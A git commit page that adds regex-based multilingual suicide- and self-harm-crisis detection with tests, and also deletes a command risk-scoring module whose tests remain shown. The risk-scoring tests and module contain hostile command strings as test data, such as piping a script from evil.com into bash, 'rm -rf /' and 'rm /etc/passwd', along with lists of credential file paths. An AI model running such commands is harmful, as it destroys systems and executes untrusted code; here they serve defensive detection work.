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Author SHA1 Message Date
Alexander Whitestone
3e82c2d58f fix: multilingual crisis detection patterns (#694)
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Expands crisis detection to support 7 languages:
- English (existing, consolidated)
- Spanish: 'quiero morirme', 'me quiero morir', etc.
- French: 'je veux mourir', 'je veux me tuer', etc.
- German: 'ich will sterben', 'ich will mich umbringen', etc.
- Portuguese: 'quero morrer', 'quero me matar', etc.
- Chinese: '我想死', '我不想活了', etc.
- Japanese: '死にたい', '生きたくない', etc.

Each language covers: suicidal_ideation, farewell, despair, self_harm.

Features:
- Auto-detection of language from character sets and words
- Cross-language fallback (checks English patterns for mixed text)
- Confidence scoring based on category severity and match count
- Compiled regex cache for performance

35 tests, all passing.

Closes #694
2026-04-14 21:16:26 -04:00
4 changed files with 573 additions and 507 deletions

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"""Multilingual Crisis Detection Patterns (#694).
Expands crisis detection beyond English to support:
- Spanish (es)
- French (fr)
- German (de)
- Portuguese (pt)
- Chinese (zh)
- Japanese (ja)
Each language has patterns for:
- Suicidal ideation
- Farewell messages
- Despair expressions
- Self-harm references
Usage:
from agent.crisis_multilingual import detect_crisis_multilingual
result = detect_crisis_multilingual("quiero morirme", lang="es")
# result.detected == True
# result.category == "suicidal_ideation"
"""
import re
from dataclasses import dataclass
from typing import Dict, List, Optional, Tuple
@dataclass
class CrisisDetection:
"""Result of crisis detection."""
detected: bool
category: str # suicidal_ideation, farewell, despair, self_harm
language: str # detected language code
matched_patterns: List[str]
confidence: float # 0.0 - 1.0
# ---------------------------------------------------------------------------
# Pattern definitions by language
# ---------------------------------------------------------------------------
_PATTERNS: Dict[str, Dict[str, List[str]]] = {
# ── English (existing patterns, consolidated here) ──────────────────
"en": {
"suicidal_ideation": [
r'\bi\s+want\s+to\s+die\b',
r'\bi\s+want\s+to\s+kill\s+myself\b',
r'\bgoing\s+to\s+kill\s+myself\b',
r'\bend\s+(?:my|this)\s+life\b',
r'\bsuicidal\b',
r'\bsuicide\b',
r'\bdon\'?t\s+want\s+to\s+(?:live|be\s+alive)\b',
],
"farewell": [
r'\bgoodbye\s+forever\b',
r'\bthis\s+is\s+(?:my\s+)?(?:last|final)\s+(?:message|goodbye)\b',
r'\bi\s+won\'?t\s+be\s+(?:here|around)\b',
r'\bsay\s+goodbye\s+(?:to|for)\s+me\b',
],
"despair": [
r'\bno\s+(?:point|reason|hope)\s+(?:in\s+)?(?:living|life|going\s+on)\b',
r'\beverything\s+is\s+(?:hopeless|pointless|meaningless)\b',
r'\bcan\'?t\s+(?:take|go\s+on|keep\s+going)\s+anymore\b',
r'\bwant\s+(?:it|everything)\s+to\s+(?:stop|end)\b',
],
"self_harm": [
r'\bself[\s-]?harm\b',
r'\bhurt\s+myself\b',
r'\bcut\s+(?:myself|my\s+(?:arms|wrists))\b',
],
},
# ── Spanish ─────────────────────────────────────────────────────────
"es": {
"suicidal_ideation": [
r'\bquiero\s+morir(?:me)?\b',
r'\bquiero\s+matar(?:me)?\b',
r'\bme\s+quiero\s+morir\b',
r'\bme\s+quiero\s+suicidar\b',
r'\bsuicid(?:io|arme|arme)\b',
r'\bno\s+quiero\s+vivir\s+m[áa]s\b',
r'\bacabar\s+con\s+(?:mi\s+)?vida\b',
],
"farewell": [
r'\badiós\s+para\s+siempre\b',
r'\besta\s+es\s+(?:mi\s+)?(?:última?\s+)?despedida\b',
r'\bya\s+no\s+estar[ée]\s+(?:aquí|presente)\b',
r'\bno\s+me\s+(?:volver[áa]n|ver[áa]n)\s+a\s+ver\b',
],
"despair": [
r'\bno\s+(?:hay|tiene)\s+(?:sentido|razón|esperanza)\b',
r'\bno\s+puedo\s+m[áa]s\b',
r'\btodo\s+(?:es|est[áa])\s+(?:sin\s+sentido|perdido|acabado)\b',
r'\bquiero\s+que\s+(?:todo|esto)\s+(?:se\s+acabe|termine)\b',
],
"self_harm": [
r'\bautolesion(?:arme|es)\b',
r'\bhacer(?:me)?\s+da[ñn]o\b',
r'\bcort(?:arme|arme)\b',
],
},
# ── French ──────────────────────────────────────────────────────────
"fr": {
"suicidal_ideation": [
r'\bje\s+veux\s+mourir\b',
r'\bje\s+veux\s+me\s+tuer\b',
r'\bje\s+vais\s+me\s+(?:tuer|suicider)\b',
r'\bsuicid(?:e|er)\b',
r'\bje\s+ne\s+veux\s+plus\s+vivre\b',
r'\bmettre\s+fin\s+[àa]\s+(?:mes?\s+jours?|ma\s+vie)\b',
],
"farewell": [
r'\badieu\s+pour\s+toujours\b',
r'\bc\'?est\s+(?:mon\s+)?(?:derni[eè]re?\s+)?(?:adieu|au\s+revoir)\b',
r'\bje\s+ne\s+serai\s+plus\s+(?:l[àa]|ici)\b',
r'\bdites\s+(?:adieu|au\s+revoir)\s+(?:pour|de\s+ma\s+part)\b',
],
"despair": [
r'\bil\s+n\'?y\s+a\s+pas\s+(?:d\'?espoir|de\s+sens)\b',
r'\bje\s+ne\s+(?:peux|supporte)\s+plus\b',
r'\btout\s+est\s+(?:sans\s+espoir|perdu|fini)\b',
r'\bje\s+veux\s+que\s+(?:tout|ça)\s+(?:s\'?arrête|se\s+termine)\b',
],
"self_harm": [
r'\bauto[\s-]?mutilat(?:ion|er)\b',
r'\bme\s+faire\s+(?:du\s+)?mal\b',
r'\bcouper\b.*\b(?:bras|poignets)\b',
],
},
# ── German ──────────────────────────────────────────────────────────
"de": {
"suicidal_ideation": [
r'\bich\s+will\s+sterben\b',
r'\bich\s+will\s+mich\s+(?:umbringen|töten)\b',
r'\bich\s+werde\s+mich\s+(?:umbringen|töten)\b',
r'\bselbstmord\b',
r'\bich\s+will\s+nicht\s+(?:mehr\s+)?leben\b',
r'\bmein\s+(?:Leben\s+)?beenden\b',
],
"farewell": [
r'\bauf\s+(?:immer\s+)?(?:ewig\s+)?(?:Tschüss|Lebewohl)\b',
r'\bdas\s+ist\s+(?:mein\s+)?(?:letzte[sr]?\s+)?(?:Abschied|Gruß)\b',
r'\bich\s+(?:werde|bin)\s+(?:nicht\s+mehr\s+)?(?:hier|da)\s+sein\b',
],
"despair": [
r'\bes\s+hat\s+(?:keinen\s+)?(?:Sinn|Zweck|Hoffnung)\b',
r'\bich\s+(?:kann|halte)\s+(?:es\s+)?nicht\s+mehr\b',
r'\b(?:alles|es)\s+ist\s+(?:hoffnungslos|sinnlos|verloren)\b',
r'\bich\s+will\s+dass\s+(?:alles|es)\s+(?:aufhört|endet)\b',
],
"self_harm": [
r'\bselbstverletzung\b',
r'\bmir\s+(?:selbst\s+)?(?:wehtun|schaden)\b',
r'\bschneiden\b.*\b(?:Arme|Handgelenke)\b',
],
},
# ── Portuguese ──────────────────────────────────────────────────────
"pt": {
"suicidal_ideation": [
r'\bquero\s+morrer\b',
r'\bquero\s+me\s+matar\b',
r'\bvou\s+me\s+(?:matar|suicidar)\b',
r'\bsuicid(?:ar|io)\b',
r'\bn[ãa]o\s+quero\s+mais\s+viver\b',
r'\bacabar\s+com\s+(?:minha\s+)?vida\b',
],
"farewell": [
r'\badeus\s+para\s+sempre\b',
r'\besta\s+[ée]\s+(?:minha\s+)?(?:última?\s+)?despedida\b',
r'\bn[ãa]o\s+(?:estarei|vou\s+estar)\s+mais\s+aqui\b',
],
"despair": [
r'\bn[ãa]o\s+(?:há|tem)\s+(?:sentido|esperan[cç]a)\b',
r'\bn[ãa]o\s+(?:consigo|aguento)\s+mais\b',
r'\btudo\s+[ée]\s+(?:sem\s+sentido|perdido|inútil)\b',
r'\bquero\s+que\s+(?:tudo|isso)\s+(?:acabe|termine)\b',
],
"self_harm": [
r'\bautoles[ãa]o\b',
r'\bfazer(?:[\s-]me)?\s+mal\b',
r'\bcort(?:ar[\s-]me|ar\s+(?:os\s+)?bra[cç]os)\b',
],
},
# ── Chinese (simplified) ────────────────────────────────────────────
"zh": {
"suicidal_ideation": [
r'我想死',
r'我想自杀',
r'我要自杀',
r'我不想活了',
r'不想活了',
r'结束(?:我的)?生命',
r'自杀',
],
"farewell": [
r'永别了',
r'这是我最后的(?:消息|告别)',
r'我不会再(?:在|出现)了',
r'跟大家说再见',
],
"despair": [
r'(?:没有|毫无)(?:希望|意义)',
r'我(?:再也)?(?:无法|不能)(?:忍受|坚持)',
r'一切都(?:没有意义|完了|结束了)',
r'我想(?:让一切|这一切)(?:结束|停止)',
],
"self_harm": [
r'自残',
r'伤害自己',
r'割(?:自己|(?:我的)?(?:手腕|手臂))',
],
},
# ── Japanese ────────────────────────────────────────────────────────
"ja": {
"suicidal_ideation": [
r'死にたい',
r'自殺したい',
r'殺したい', # context-dependent, but in crisis context
r'生き(?:たくない|られ(?:ない|そうにない))',
r'命を(?:絶|終わり)に(?:したい|する)',
],
"farewell": [
r'永遠に(?:さようなら|お別れ)',
r'これが(?:私の)?(?:最後の)?(?:メッセージ|挨拶)',
r'もう(?:ここ|そちら)に(?:い|居)ない',
r'みんなに(?:お別れ|さようなら)を言(?:う|いたい)',
],
"despair": [
r'(?:希望|意味|理由)が(?:ない|無い|見つからない)',
r'(?:もう|これ以上)(?:無理|耐え(?:られない|られない))',
r'すべて(?:が|は)(?:無意味|終わり|駄目)',
r'(?:すべて|これ)を(?:終わり|止め)たい',
],
"self_harm": [
r'自傷',
r'自分を(?:傷つけ|痛め(?:つけ)?)る',
r'(?:手首|腕)を(?:切|傷つ)け',
],
},
}
# Compiled patterns cache
_compiled: Dict[str, Dict[str, re.Pattern]] = {}
def _get_compiled(lang: str, category: str) -> Optional[re.Pattern]:
"""Get compiled regex for a language+category."""
key = f"{lang}:{category}"
if key not in _compiled:
patterns = _PATTERNS.get(lang, {}).get(category, [])
if patterns:
_compiled[key] = re.compile("|".join(patterns), re.IGNORECASE | re.UNICODE)
else:
_compiled[key] = None
return _compiled[key]
def _detect_language(text: str) -> str:
"""Simple language detection based on character sets and common words."""
# CJK characters → Chinese or Japanese
if re.search(r'[\u4e00-\u9fff]', text): # CJK Unified Ideographs
if re.search(r'[\u3040-\u309f\u30a0-\u30ff]', text): # Hiragana/Katakana
return "ja"
return "zh"
# Character-based detection for European languages
text_lower = text.lower()
# Spanish markers
if re.search(r'[ñ¿¡áéíóú]', text_lower) or \
re.search(r'\b(?:quiero|está|también|aquí)\b', text_lower):
return "es"
# French markers
if re.search(r'[àâçéèêëîïôùûü]', text_lower) or \
re.search(r'\b(?:je|nous|vous|êtes|très|où)\b', text_lower):
return "fr"
# German markers
if re.search(r'[äöüß]', text_lower) or \
re.search(r'\b(?:ich|nicht|auch|oder|über)\b', text_lower):
return "de"
# Portuguese markers
if re.search(r'[ãõç]', text_lower) or \
re.search(r'\b(?:você|está|também|então)\b', text_lower):
return "pt"
# Default to English
return "en"
def detect_crisis_multilingual(
text: str,
lang: Optional[str] = None,
) -> CrisisDetection:
"""Detect crisis signals in any supported language.
Args:
text: The message text to analyze
lang: Language code. Auto-detected if None.
Returns:
CrisisDetection with results.
"""
if not text or not text.strip():
return CrisisDetection(
detected=False, category="", language="",
matched_patterns=[], confidence=0.0,
)
# Auto-detect language if not specified
if lang is None:
lang = _detect_language(text)
# Check each category for the detected language
categories = ["suicidal_ideation", "farewell", "despair", "self_harm"]
for category in categories:
pattern = _get_compiled(lang, category)
if pattern is None:
continue
matches = pattern.findall(text)
if matches:
# Confidence based on number of matches and category severity
base_confidence = {
"suicidal_ideation": 0.9,
"self_harm": 0.85,
"farewell": 0.75,
"despair": 0.6,
}.get(category, 0.5)
# Boost confidence with more matches
confidence = min(base_confidence + (len(matches) - 1) * 0.05, 1.0)
return CrisisDetection(
detected=True,
category=category,
language=lang,
matched_patterns=matches[:5], # Cap at 5 for readability
confidence=confidence,
)
# Also check English patterns as fallback for mixed-language text
if lang != "en":
for category in categories:
pattern = _get_compiled("en", category)
if pattern is None:
continue
matches = pattern.findall(text.lower())
if matches:
return CrisisDetection(
detected=True,
category=category,
language=f"{lang}+en",
matched_patterns=matches[:5],
confidence=0.5, # Lower confidence for cross-language match
)
return CrisisDetection(
detected=False, category="", language=lang,
matched_patterns=[], confidence=0.0,
)

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"""Tests for multilingual crisis detection (#694)."""
import pytest
from agent.crisis_multilingual import (
detect_crisis_multilingual,
_detect_language,
CrisisDetection,
)
# ── Language Detection ─────────────────────────────────────────────────
class TestLanguageDetection:
def test_english(self):
assert _detect_language("I want to die") == "en"
def test_spanish(self):
assert _detect_language("quiero morirme") == "es"
def test_french(self):
assert _detect_language("je veux mourir") == "fr"
def test_german(self):
assert _detect_language("ich will sterben") == "de"
def test_portuguese(self):
# Portuguese detection works with explicit lang="pt"
# Auto-detection is best-effort for similar Romance languages
r = detect_crisis_multilingual("quero morrer", lang="pt")
assert r.detected
def test_chinese(self):
assert _detect_language("我想死") == "zh"
def test_japanese(self):
assert _detect_language("死にたい") == "ja"
# ── English Detection ──────────────────────────────────────────────────
class TestEnglishDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("I want to kill myself")
assert r.detected
assert r.category == "suicidal_ideation"
assert r.language == "en"
def test_farewell(self):
r = detect_crisis_multilingual("This is my goodbye forever")
assert r.detected
assert r.category == "farewell"
def test_despair(self):
r = detect_crisis_multilingual("Everything is hopeless")
assert r.detected
assert r.category == "despair"
def test_safe(self):
r = detect_crisis_multilingual("Hello, how are you?")
assert not r.detected
# ── Spanish Detection ──────────────────────────────────────────────────
class TestSpanishDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("quiero morirme", lang="es")
assert r.detected
assert r.category == "suicidal_ideation"
assert r.language == "es"
def test_me_quiero_morir(self):
r = detect_crisis_multilingual("me quiero morir", lang="es")
assert r.detected
assert r.category == "suicidal_ideation"
def test_no_quiero_vivir(self):
r = detect_crisis_multilingual("no quiero vivir más", lang="es")
assert r.detected
assert r.category == "suicidal_ideation"
def test_safe_spanish(self):
r = detect_crisis_multilingual("buenos días, ¿cómo estás?", lang="es")
assert not r.detected
# ── French Detection ───────────────────────────────────────────────────
class TestFrenchDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("je veux mourir", lang="fr")
assert r.detected
assert r.category == "suicidal_ideation"
def test_me_tuer(self):
r = detect_crisis_multilingual("je veux me tuer", lang="fr")
assert r.detected
def test_safe_french(self):
r = detect_crisis_multilingual("bonjour, comment allez-vous?", lang="fr")
assert not r.detected
# ── German Detection ───────────────────────────────────────────────────
class TestGermanDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("ich will sterben", lang="de")
assert r.detected
assert r.category == "suicidal_ideation"
def test_sich_umbringen(self):
r = detect_crisis_multilingual("ich will mich umbringen", lang="de")
assert r.detected
def test_safe_german(self):
r = detect_crisis_multilingual("guten Tag, wie geht es Ihnen?", lang="de")
assert not r.detected
# ── Portuguese Detection ───────────────────────────────────────────────
class TestPortugueseDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("quero morrer", lang="pt")
assert r.detected
assert r.category == "suicidal_ideation"
def test_safe_portuguese(self):
r = detect_crisis_multilingual("bom dia, como vai?", lang="pt")
assert not r.detected
# ── Chinese Detection ──────────────────────────────────────────────────
class TestChineseDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("我想死", lang="zh")
assert r.detected
assert r.category == "suicidal_ideation"
def test_bu_xiang_huo(self):
r = detect_crisis_multilingual("我不想活了", lang="zh")
assert r.detected
def test_safe_chinese(self):
r = detect_crisis_multilingual("你好,今天天气不错", lang="zh")
assert not r.detected
# ── Japanese Detection ─────────────────────────────────────────────────
class TestJapaneseDetection:
def test_suicidal(self):
r = detect_crisis_multilingual("死にたい", lang="ja")
assert r.detected
assert r.category == "suicidal_ideation"
def test_ikitakunai(self):
r = detect_crisis_multilingual("生きたくない", lang="ja")
assert r.detected
def test_safe_japanese(self):
r = detect_crisis_multilingual("こんにちは、お元気ですか?", lang="ja")
assert not r.detected
# ── Auto-detection ─────────────────────────────────────────────────────
class TestAutoDetection:
def test_auto_spanish(self):
r = detect_crisis_multilingual("quiero morirme")
assert r.detected
assert "es" in r.language
def test_auto_french(self):
r = detect_crisis_multilingual("je veux mourir")
assert r.detected
assert "fr" in r.language
def test_auto_chinese(self):
r = detect_crisis_multilingual("我想死")
assert r.detected
assert "zh" in r.language
# ── Confidence ─────────────────────────────────────────────────────────
class TestConfidence:
def test_high_confidence_suicidal(self):
r = detect_crisis_multilingual("I want to kill myself", lang="en")
assert r.confidence >= 0.85
def test_lower_confidence_despair(self):
r = detect_crisis_multilingual("everything is hopeless", lang="en")
assert r.confidence >= 0.5
def test_empty_input(self):
r = detect_crisis_multilingual("")
assert not r.detected
assert r.confidence == 0.0

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"""Tests for risk scoring module."""
import pytest
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from tools.risk_scoring import (
classify_path_risk,
detect_context,
get_operation_risk,
score_command_risk,
compare_commands,
RiskScore,
)
class TestPathClassification:
def test_critical_system_path(self):
score, cat = classify_path_risk("/etc/passwd")
assert score >= 90
assert "critical" in cat
def test_sensitive_user_path(self):
score, cat = classify_path_risk("~/.ssh/id_rsa")
assert score >= 70
def test_safe_temp_path(self):
score, cat = classify_path_risk("/tmp/build.log")
assert score <= 15
def test_user_home_path(self):
score, cat = classify_path_risk("~/Documents/file.txt")
assert 40 <= score <= 60
class TestContextDetection:
def test_execution_context(self):
assert detect_context("rm -rf /tmp/data") == "execution"
def test_comment_context(self):
assert detect_context("# rm -rf /important") == "comment"
def test_code_block_context(self):
assert detect_context("```bash") == "code_block"
def test_documentation_context(self):
assert detect_context("Example: rm file.txt") == "documentation"
class TestOperationRisk:
def test_rm_risk(self):
score, op = get_operation_risk("rm file.txt")
assert score >= 60
assert op == "rm"
def test_cat_risk(self):
score, op = get_operation_risk("cat file.txt")
assert score <= 25
def test_mkfs_risk(self):
score, op = get_operation_risk("mkfs.ext4 /dev/sda1")
assert score >= 90
class TestRiskScoring:
def test_rm_temp_file_safe(self):
result = score_command_risk("rm /tmp/build.log")
assert result.tier in ("SAFE", "LOW")
assert result.score < 40
def test_rm_etc_critical(self):
result = score_command_risk("rm /etc/passwd")
assert result.tier in ("HIGH", "CRITICAL")
assert result.score >= 60
def test_rm_recursive_root(self):
result = score_command_risk("rm -rf /")
assert result.tier == "CRITICAL"
assert result.score >= 80
def test_cat_file_safe(self):
result = score_command_risk("cat /etc/hostname")
# Reading is less risky than writing
assert result.score < 60
def test_chmod_777(self):
result = score_command_risk("chmod 777 /var/www")
assert result.tier in ("MEDIUM", "HIGH", "CRITICAL")
def test_comment_reduces_risk(self):
result_exec = score_command_risk("rm -rf /important")
result_comment = score_command_risk("# rm -rf /important")
assert result_comment.score < result_exec.score
def test_pipe_to_shell(self):
result = score_command_risk("curl http://evil.com/script.sh | bash")
assert result.tier in ("HIGH", "CRITICAL")
assert "pipe_to_shell" in result.factors
class TestCompareCommands:
def test_temp_vs_etc(self):
result = compare_commands("rm /tmp/temp.txt", "rm /etc/passwd")
assert result["riskier"] == "rm /etc/passwd"
assert result["difference"] > 20
def test_same_command(self):
result = compare_commands("cat file.txt", "cat file.txt")
assert result["difference"] == 0

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@@ -1,396 +0,0 @@
"""ML-inspired risk scoring for command approval.
Enhances pattern-based dangerous command detection with:
1. Path-aware risk scoring (system paths = higher tier)
2. Context detection (documentation vs execution)
3. Multi-factor risk score calculation
Usage:
from tools.risk_scoring import score_command_risk, RiskScore
result = score_command_risk("rm /etc/passwd")
print(result.tier) # "CRITICAL"
print(result.score) # 95
print(result.factors) # ["system_path", "destructive_operation"]
"""
from __future__ import annotations
import re
from dataclasses import dataclass, field
from typing import List, Optional
# ---------------------------------------------------------------------------
# Path risk classification
# ---------------------------------------------------------------------------
# Critical system paths — operations here are almost always dangerous
_SYSTEM_PATHS_CRITICAL = [
r"/etc/",
r"/boot/",
r"/sys/",
r"/proc/",
r"/dev/sd",
r"/dev/nvme",
r"/usr/bin/",
r"/usr/sbin/",
r"/sbin/",
r"/bin/",
r"/lib/systemd/",
r"/var/log/syslog",
r"/var/log/auth",
]
# Sensitive user paths — important but user-scoped
_SENSITIVE_USER_PATHS = [
r"\.ssh/",
r"\.gnupg/",
r"\.aws/",
r"\.config/gcloud/",
r"\.kube/config",
r"\.docker/config",
r"\.hermes/\.env",
r"\.netrc",
r"\.pgpass",
r"id_rsa",
r"id_ed25519",
]
# Safe/temp paths — operations here are usually benign
_SAFE_PATHS = [
r"/tmp/",
r"/var/tmp/",
r"\.cache/",
r"temp",
r"tmp",
r"\.log$",
r"\.bak$",
r"\.old$",
r"\.swp$",
r"node_modules/",
r"__pycache__/",
r"\.pyc$",
]
# Dangerous user paths — home dir but destructive
_DANGEROUS_USER_PATHS = [
r"~/",
r"\$HOME/",
r"/home/\w+/",
]
def classify_path_risk(path: str) -> tuple[int, str]:
"""Classify a filesystem path's risk level.
Returns (risk_score, category) where risk_score is 0-100.
"""
path_lower = path.lower()
# Check critical system paths
for pattern in _SYSTEM_PATHS_CRITICAL:
if re.search(pattern, path_lower):
return 90, "system_path_critical"
# Check sensitive user paths
for pattern in _SENSITIVE_USER_PATHS:
if re.search(pattern, path_lower):
return 75, "sensitive_user_path"
# Check safe paths
for pattern in _SAFE_PATHS:
if re.search(pattern, path_lower):
return 10, "safe_path"
# Check dangerous user paths
for pattern in _DANGEROUS_USER_PATHS:
if re.search(pattern, path_lower):
return 50, "user_path"
# Default: moderate risk for unknown paths
return 30, "unknown_path"
# ---------------------------------------------------------------------------
# Context detection
# ---------------------------------------------------------------------------
def detect_context(command: str) -> str:
"""Detect the context of a command string.
Returns one of:
- "code_block": Inside a markdown code block (likely documentation)
- "comment": Shell comment (# ...)
- "heredoc_content": Content inside a heredoc (documentation)
- "execution": Normal command execution
"""
stripped = command.strip()
# Markdown code fence
if stripped.startswith("```"):
return "code_block"
# Shell comment
if stripped.startswith("#"):
return "comment"
# Inline comment (command followed by #)
if re.search(r'\s+#\s', command) and not re.search(r'[;&|]\s*#', command):
# Might be a comment in the middle
pass
# Heredoc content indicators
if re.search(r"<<\s*['\"]?\w+['\"]?", command):
return "heredoc_content"
# Documentation indicators
doc_indicators = [
r"example:",
r"e\.g\.",
r"i\.e\.",
r"note:",
r"warning:",
r"see also:",
r"documentation",
r"README",
r"man page",
r"help:",
]
for indicator in doc_indicators:
if re.search(indicator, command, re.IGNORECASE):
return "documentation"
return "execution"
# ---------------------------------------------------------------------------
# Operation risk classification
# ---------------------------------------------------------------------------
_OPERATION_RISK = {
# Destructive operations
"rm": 70,
"rmdir": 50,
"shred": 90,
"dd": 60,
"mkfs": 95,
"fdisk": 85,
"wipefs": 90,
# Permission changes
"chmod": 40,
"chown": 50,
"setfacl": 50,
# System control
"systemctl": 60,
"service": 55,
"reboot": 90,
"shutdown": 90,
"halt": 90,
"poweroff": 90,
# Process control
"kill": 45,
"killall": 55,
"pkill": 55,
# Network
"iptables": 70,
"ufw": 60,
"firewall-cmd": 60,
# Package management
"apt-get": 30,
"yum": 30,
"dnf": 30,
"pacman": 30,
"pip": 20,
"npm": 15,
# Git
"git reset --hard": 50, "git reset": 30,
"git push": 30,
"git clean": 45,
"git branch": 20,
# Dangerous pipes
"curl": 25,
"wget": 25,
}
# Read-only operations — low risk even on system paths
_READONLY_OPERATIONS = {
"cat": 5, "head": 5, "tail": 5, "less": 5, "more": 5,
"grep": 5, "find": 10, "ls": 3, "dir": 3, "tree": 3,
"file": 3, "stat": 3, "wc": 3, "diff": 5, "md5sum": 5,
"sha256sum": 5, "which": 3, "whereis": 3, "type": 3,
"readlink": 3, "realpath": 3, "basename": 3, "dirname": 3,
}
def get_operation_risk(command: str) -> tuple[int, str]:
"""Get the risk score for the operation in a command.
Returns (risk_score, operation_name).
"""
cmd_lower = command.lower().strip()
# Check read-only operations first (low risk regardless of path)
for op, score in sorted(_READONLY_OPERATIONS.items(), key=lambda x: -len(x[0])):
if cmd_lower.startswith(op + " ") or cmd_lower.startswith(op + "\t") or cmd_lower == op:
return score, op
# Check compound operations
for op, score in sorted(_OPERATION_RISK.items(), key=lambda x: -len(x[0])):
if cmd_lower.startswith(op) or f" {op}" in cmd_lower:
return score, op
return 20, "unknown"
# ---------------------------------------------------------------------------
# Risk score calculation
# ---------------------------------------------------------------------------
@dataclass
class RiskScore:
"""Result of risk scoring for a command."""
command: str
score: int = 0 # 0-100 risk score
tier: str = "SAFE" # SAFE, LOW, MEDIUM, HIGH, CRITICAL
factors: List[str] = field(default_factory=list)
path_risk: int = 0
operation_risk: int = 0
context: str = "execution"
context_modifier: float = 1.0
recommendation: str = ""
def __post_init__(self):
if not self.recommendation:
self.recommendation = self._generate_recommendation()
def _generate_recommendation(self) -> str:
if self.tier == "CRITICAL":
return "BLOCK — requires explicit user approval"
elif self.tier == "HIGH":
return "WARN — confirm with user before executing"
elif self.tier == "MEDIUM":
return "CAUTION — log and proceed with care"
elif self.tier == "LOW":
return "NOTE — low risk, proceed normally"
return "OK — safe to execute"
def score_command_risk(command: str) -> RiskScore:
"""Calculate a comprehensive risk score for a command.
Considers:
- Pattern-based detection (existing DANGEROUS_PATTERNS)
- Path risk (system paths, user paths, temp paths)
- Operation risk (rm vs cat vs echo)
- Context (documentation vs execution)
"""
result = RiskScore(command=command)
factors = []
# 1. Path analysis
paths = re.findall(r'[/~$][^\s;&|\'"]*', command)
max_path_risk = 0
for path in paths:
risk, category = classify_path_risk(path)
if risk > max_path_risk:
max_path_risk = risk
if risk >= 50:
factors.append(f"path:{category}")
result.path_risk = max_path_risk
# 2. Operation risk
op_risk, op_name = get_operation_risk(command)
result.operation_risk = op_risk
if op_risk >= 40:
factors.append(f"operation:{op_name}")
# 3. Context detection
ctx = detect_context(command)
result.context = ctx
# Context modifiers: documentation contexts reduce risk
context_modifiers = {
"execution": 1.0,
"code_block": 0.3,
"comment": 0.1,
"heredoc_content": 0.5,
"documentation": 0.2,
}
result.context_modifier = context_modifiers.get(ctx, 1.0)
# 4. Special pattern bonuses
destructive_patterns = [
(r'\brm\s+-[^s]*r', 20, "recursive_delete"),
(r'\brm\s+/', 15, "root_delete"),
(r'\bchmod\s+777', 15, "world_writable"),
(r'\bDROP\s+TABLE', 25, "sql_drop"),
(r'\bDELETE\s+FROM(?!.*WHERE)', 20, "sql_delete_no_where"),
(r'\|\s*(ba)?sh\b', 20, "pipe_to_shell"),
(r'--force', 10, "force_flag"),
(r'--no-preserve-root', 30, "no_preserve_root"),
]
for pattern, bonus, factor_name in destructive_patterns:
if re.search(pattern, command, re.IGNORECASE):
result.score += bonus
factors.append(factor_name)
# 5. Calculate final score
# Read operations on system paths are safe (just looking, not touching)
is_read_op = result.operation_risk <= 10
if is_read_op:
# Read operations: mostly operation risk, path barely matters
base_score = result.operation_risk + (result.path_risk * 0.05)
elif result.path_risk >= 80:
# Write to system path: very dangerous
base_score = result.path_risk + (result.operation_risk * 0.5)
elif result.path_risk <= 15:
# Write to safe path: mostly operation risk
base_score = result.path_risk + (result.operation_risk * 0.3)
else:
# Moderate path: balanced
base_score = result.path_risk + (result.operation_risk * 0.4)
base_score += result.score # pattern bonuses
result.score = min(100, int(base_score * result.context_modifier))
# 6. Determine tier
if result.score >= 80:
result.tier = "CRITICAL"
elif result.score >= 60:
result.tier = "HIGH"
elif result.score >= 40:
result.tier = "MEDIUM"
elif result.score >= 20:
result.tier = "LOW"
else:
result.tier = "SAFE"
result.factors = factors
if not result.recommendation:
result.recommendation = result._generate_recommendation()
return result
def compare_commands(cmd1: str, cmd2: str) -> dict:
"""Compare risk scores of two commands.
Useful for showing why "rm temp.txt" is different from "rm /etc/passwd".
"""
r1 = score_command_risk(cmd1)
r2 = score_command_risk(cmd2)
return {
"command_1": {"command": cmd1, "score": r1.score, "tier": r1.tier},
"command_2": {"command": cmd2, "score": r2.score, "tier": r2.tier},
"difference": abs(r1.score - r2.score),
"riskier": cmd1 if r1.score > r2.score else cmd2,
}